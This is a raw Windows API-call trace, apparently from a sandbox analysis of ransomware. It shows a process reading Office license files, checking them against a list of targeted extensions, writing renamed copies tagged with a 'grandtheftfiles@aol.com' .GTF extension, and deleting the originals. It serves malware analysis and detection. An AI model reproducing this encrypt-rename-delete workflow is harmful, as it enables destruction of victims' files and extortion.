	[0170.677] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.677] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0170.677] SetEndOfFile (hFile=0x550) returned 1
	[0170.678] CloseHandle (hObject=0x550) returned 1
	[0170.678] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.678] SetEndOfFile (hFile=0x45c) returned 1
	[0170.680] CloseHandle (hObject=0x45c) returned 1
	[0170.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1
	[0170.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.681] lstrlenW (lpString=".doc") returned 4
	[0170.681] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.681] lstrlenW (lpString=".docx") returned 5
	[0170.681] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.681] lstrlenW (lpString=".pdf") returned 4
	[0170.681] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.681] lstrlenW (lpString=".xls") returned 4
	[0170.681] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.681] lstrlenW (lpString=".xlsx") returned 5
	[0170.681] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.681] lstrlenW (lpString=".ppt") returned 4
	[0170.681] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.681] lstrlenW (lpString=".zip") returned 4
	[0170.681] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.681] lstrlenW (lpString=".rar") returned 4
	[0170.682] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.682] lstrlenW (lpString=".bz2") returned 4
	[0170.682] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.682] lstrlenW (lpString=".7z") returned 3
	[0170.682] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.682] lstrlenW (lpString=".dbf") returned 4
	[0170.682] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.682] lstrlenW (lpString=".1cd") returned 4
	[0170.682] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.682] lstrlenW (lpString=".jpg") returned 4
	[0170.682] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.682] lstrlenW (lpString=".doc") returned 4
	[0170.682] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.682] lstrlenW (lpString=".docx") returned 5
	[0170.683] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.683] lstrlenW (lpString=".pdf") returned 4
	[0170.683] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString=".xls") returned 4
	[0170.683] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString=".xlsx") returned 5
	[0170.683] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.683] lstrlenW (lpString=".ppt") returned 4
	[0170.683] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.683] lstrlenW (lpString=".zip") returned 4
	[0170.683] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString=".rar") returned 4
	[0170.683] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString=".bz2") returned 4
	[0170.683] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString=".7z") returned 3
	[0170.683] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.683] lstrlenW (lpString=".dbf") returned 4
	[0170.683] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.683] lstrlenW (lpString=".1cd") returned 4
	[0170.683] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0170.683] lstrlenW (lpString=".jpg") returned 4
	[0170.683] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.684] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.684] lstrlenW (lpString="ExcelVL_MAK-ul-oob.xrm-ms") returned 25
	[0170.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.684] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11576) returned 1
	[0170.684] CloseHandle (hObject=0x45c) returned 1
	[0170.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220
	[0170.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.691] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.691] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.692] GetLastError () returned 0x0
	[0170.692] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0170.700] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0170.701] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.701] WriteFile (in: hFile=0x550, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0170.701] SetEndOfFile (hFile=0x550) returned 1
	[0170.705] CloseHandle (hObject=0x550) returned 1
	[0170.714] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.714] SetEndOfFile (hFile=0x45c) returned 1
	[0170.825] CloseHandle (hObject=0x45c) returned 1
	[0170.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1
	[0171.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.346] lstrlenW (lpString=".doc") returned 4
	[0171.346] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.346] lstrlenW (lpString=".docx") returned 5
	[0171.346] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.346] lstrlenW (lpString=".pdf") returned 4
	[0171.346] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.346] lstrlenW (lpString=".xls") returned 4
	[0171.347] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString=".xlsx") returned 5
	[0171.347] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.347] lstrlenW (lpString=".ppt") returned 4
	[0171.347] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.347] lstrlenW (lpString=".zip") returned 4
	[0171.347] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString=".rar") returned 4
	[0171.347] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString=".bz2") returned 4
	[0171.347] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString=".7z") returned 3
	[0171.347] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.347] lstrlenW (lpString=".dbf") returned 4
	[0171.347] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.347] lstrlenW (lpString=".1cd") returned 4
	[0171.347] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.347] lstrlenW (lpString=".jpg") returned 4
	[0171.347] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.347] lstrlenW (lpString=".doc") returned 4
	[0171.347] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString=".docx") returned 5
	[0171.347] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.347] lstrlenW (lpString=".pdf") returned 4
	[0171.347] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.347] lstrlenW (lpString=".xls") returned 4
	[0171.348] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString=".xlsx") returned 5
	[0171.348] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.348] lstrlenW (lpString=".ppt") returned 4
	[0171.348] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.348] lstrlenW (lpString=".zip") returned 4
	[0171.348] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString=".rar") returned 4
	[0171.348] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString=".bz2") returned 4
	[0171.348] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString=".7z") returned 3
	[0171.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.348] lstrlenW (lpString=".dbf") returned 4
	[0171.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.348] lstrlenW (lpString=".1cd") returned 4
	[0171.348] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75
	[0171.348] lstrlenW (lpString=".jpg") returned 4
	[0171.348] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.348] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.348] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42
	[0171.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.410] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11219) returned 1
	[0171.410] CloseHandle (hObject=0x45c) returned 1
	[0171.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0171.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.777] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.777] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0171.779] GetLastError () returned 0x0
	[0171.779] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0171.781] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0171.782] ReadFile (in: hFile=0x530, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.782] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x128, lpOverlapped=0x0) returned 1
	[0171.782] SetEndOfFile (hFile=0x3e0) returned 1
	[0171.783] CloseHandle (hObject=0x3e0) returned 1
	[0171.783] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.783] SetEndOfFile (hFile=0x530) returned 1
	[0171.786] CloseHandle (hObject=0x530) returned 1
	[0171.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.788] lstrlenW (lpString=".doc") returned 4
	[0171.788] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString=".docx") returned 5
	[0171.788] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.788] lstrlenW (lpString=".pdf") returned 4
	[0171.788] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString=".xls") returned 4
	[0171.788] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString=".xlsx") returned 5
	[0171.788] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.788] lstrlenW (lpString=".ppt") returned 4
	[0171.788] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.788] lstrlenW (lpString=".zip") returned 4
	[0171.788] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString=".rar") returned 4
	[0171.788] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString=".bz2") returned 4
	[0171.788] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.788] lstrlenW (lpString=".7z") returned 3
	[0171.788] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.789] lstrlenW (lpString=".dbf") returned 4
	[0171.789] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.789] lstrlenW (lpString=".1cd") returned 4
	[0171.789] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.789] lstrlenW (lpString=".jpg") returned 4
	[0171.789] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.789] lstrlenW (lpString=".doc") returned 4
	[0171.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString=".docx") returned 5
	[0171.789] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.789] lstrlenW (lpString=".pdf") returned 4
	[0171.789] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString=".xls") returned 4
	[0171.789] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString=".xlsx") returned 5
	[0171.789] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.789] lstrlenW (lpString=".ppt") returned 4
	[0171.789] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.789] lstrlenW (lpString=".zip") returned 4
	[0171.789] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.789] lstrlenW (lpString=".rar") returned 4
	[0171.789] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.790] lstrlenW (lpString=".bz2") returned 4
	[0171.790] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.790] lstrlenW (lpString=".7z") returned 3
	[0171.790] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.790] lstrlenW (lpString=".dbf") returned 4
	[0171.790] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.790] lstrlenW (lpString=".1cd") returned 4
	[0171.790] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0171.790] lstrlenW (lpString=".jpg") returned 4
	[0171.790] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.790] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0171.790] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36
	[0171.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.791] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10679) returned 1
	[0171.791] CloseHandle (hObject=0x530) returned 1
	[0171.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220
	[0171.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
